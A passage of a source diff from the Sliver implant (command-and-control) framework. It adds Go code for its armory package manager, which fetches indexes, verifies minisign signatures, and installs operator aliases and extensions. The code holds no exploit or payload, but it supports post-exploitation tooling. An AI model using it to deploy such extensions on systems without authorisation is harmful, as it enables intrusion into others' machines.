if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
err := os.RemoveAll(extPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,519 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
type ArmoryIndex struct {
|
||||
ArmoryConfig *assets.ArmoryConfig `json:"-"`
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
// ArmoryPackage - JSON metadata for alias or extension
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
type ArmoryHTTPConfig struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package armory
|
||||
@@ -0,0 +1,309 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,500 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
